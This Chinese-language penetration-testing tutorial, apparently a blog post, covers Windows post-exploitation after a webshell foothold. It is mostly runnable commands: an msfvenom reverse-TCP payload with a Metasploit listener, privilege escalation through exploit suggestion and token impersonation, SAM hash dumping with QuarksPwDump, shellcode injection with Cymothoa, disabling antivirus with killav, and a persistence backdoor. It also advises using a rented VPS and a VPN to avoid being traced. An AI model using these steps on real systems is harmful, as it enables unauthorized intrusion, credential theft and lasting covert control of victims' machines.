特别申明:请熟读网络安全法,未经授权不得操作,否则,需承担法律责任,牢底坐穿哦!!!
一、前言
1、当通过漏洞获取到目标的webshell后,我们得到的权限大都是普通用户权限,没法进行更多操作,比如获取Hash、安装软件、修改防火墙规则、修改注册表信息等(这一部分属于后渗透知识,本文不做讲解,后续单独讲解后渗透操作),此刻就需要利用msfvenom进行配合,生成一个shell(这个其实就是文末的web后门,但实际会被终端查杀,免杀学习中......),并通过webshell管理工具上传,从而利用msf和系统建立联系,通过cve漏洞进行提权。本文将演示从漏洞获取目标webshell到提权及留后门的一系列动作。
2、网上文章或书籍更多是以无防火墙+内网同网段环境演示的,所以如果在实际攻击环境中,我们需要关注防火墙、web应用防火墙的拦截,以及你用私网kali攻击,无法和目标主机建立连接的问题;可以直接购买一台虚拟云主机服务器,安装kali系统作为攻击机,当然了,记得挂vpn哦,有兴趣的同学也可以网上学习大神写的利用vps转发技术
二、发现服务器漏洞
第一步:当通过手工方式或扫描方式或其他方式,发现系统存在文件上传漏洞,我们通过上传一个连接木马到网站目录,然后用菜刀进行连接(本文不做演示,后续漏洞利用文章演示)
三、msf提权三种方式
第二步:打开kali,进入终端,输入如下命令生成后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=4444 -f exe -o payload.exe // lhost 需改成kali机器的IP lport为msf监听端口,可自行定义
第三步:通过webshell管理工具(比如菜刀),把payload.exe后门程序上传至目标服务器web目录下
第四步:通过kali启动msf,进行监听
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x //kali的IP
set lport 4444 //监听端口,和上面保持一致
run
第五步:通过webshell管理工具执行后门程序payload.exe,执行后,在kali中会进入meterpreter shell 会话模块
本文重点来喽!!!未标记视图的依照红色字体按步骤执行即可
第六-1步:当进入meterpreter会话后,查看权限,并通过补丁exp进行提权操作
1、meterpreter > getuid //一般获取shell后,我们会先执行getuid查看获取的权限,看到权限是普通用户,就需要提权
2、meterpreter > getsystem //执行getsystem命令提权,但一般都会失败
3、meterpreter > backgroud //将会话放入后台
4、msf6 exploit(multi/handler) > //这是一个监听模块,是在连接我们上传的木马时候使用的
5、msf6 exploit(multi/handler) > sessions //利用sessions查看会话,
6、msf6 exploit(multi/handler) > sessions -i id //进入metepreter
7、meterpreter > run post/windows/gather/enum_patches //查看补丁信息
8、meterpreter > run post/multi/recon/local_exploit_suggester //查询哪些提权exp可以用
9、发现cve_20xx_10xx_xxxx_lpe可用,background
10、search cve_20xx_10xx
11、发现序号为3的是可用的exp ,use 3
12、show options 发现需要设置session
13、设置session为1,
14、exploit执行
15、成功返回meterpreter,getuid发现成功提权至system权限 ,shell进入cmd的shell,执行whoami,为system权限
16、乱码使用chcp 437即可
第六-2步:当进入meterpreter会话后,查看权限,并通过令牌窃取进行提权操作
1、meterpreter > getuid //一般获取shell后,我们会先执行getuid查看获取的权限,看到权限是普通用户,就需要提权
2、meterpreter > getsystem //执行getsystem命令提权,但一般都会失败
3、meterpreter > use incognito
4、 meterpreter > list_tokens -u //列出可用的token,这里会显示两种令牌,一种是Delegation Tokens(授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问),一种是Impersonation Tokens(模拟令牌,它是非交互的会话)
5、meterpreter > impersonate_tokeb 令牌(主机名\\用户名) //在incognito中调用impersonate_token命令假冒登录用户进行工具,成功后即可拥有它的权限successfully(注意两个反斜杠\\)
6、meterpreter > shell //进入目标机命令行界面
7、meterpreter > whoami //查看当前权限
第六-3步:当进入meterpreter会话后,查看权限,并通过Quarks PwDump工具读取sam文件进行提权操作
计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号,所以要使用该命令就必须进行权限的提升,但是,PwDump工具可以直接读取sam文件,获取hasn指并导出
cmd下执行:QuarksPwDump.exe -dhl -o 1.txt
四、留后门
在完成了权限提升之后,我们就应该建立后门(backdoor)了,以维持对目标主机的控制权,
这样一来,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。
简单的说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它允许一个普通的、未经授权的用户控制计算机。
一、操作系统后门
1、Cymothoa后门
Cymothoa是把shellcode注入到现有正常进程中的工具,它能够把shellcode伪装成常规程序,在进程关闭或目标主机重启后就会停止
1、在目标主机cmd命令行执行tasklist,查看PID
tasklist //查看PID
目录
2、成功渗透目标主机后,把cymothoa的可执行程序复制到目标主机上,生成后门程序
①meterpreter > upload /root/cymothoa.exe c:\ //上传程序到目标主机
②cymothoa -s //查看制定的shellcode的编号
③cymothoa -p 982(正常pid) -s 1(shellcode编号) -y 4444 //生成以pid=982为宿主进程,选用第1类shellcode,制定payload服务端口号为4444的后门程序
④nc -nvv ip 4444 //连接目标主机的后门
2、Persistence后门
meterpreter提供了Persistence后渗透攻击模块,通过在目标主机上安装自启动、永久服务等方式,来长久的控制目标机。
1、meterpreter > run post/windows/manage/killav //因为会报毒,所以关闭目标机系统杀毒软件
2、meterpreter > run persistence -h //查看命令帮助
3、meterpreter > background //由于一会要监听,所以先将当前会话放到后台
4、meterpreter > run persistence -A -S -U -i 60 -p 4321 -r 目标IP //创建持久性后门
5、msf6 exploit(handler) > sessions //查看会话,会发现当前有两个连接,成功获取会话
二、web后门
这个其webshell传到目标服务器的web目录下,然后进行访问,所以也叫webshell,这个好多网络文章或者书籍和操作系统一块定义为后门,但其实他就是属于上传shell(exe、.php、.asp等)通过msf建立监听,在我看来并没有实际用途,当然,如果你直接获取到的是系统权限,也可以使用此方法留下web后门,不做过多介绍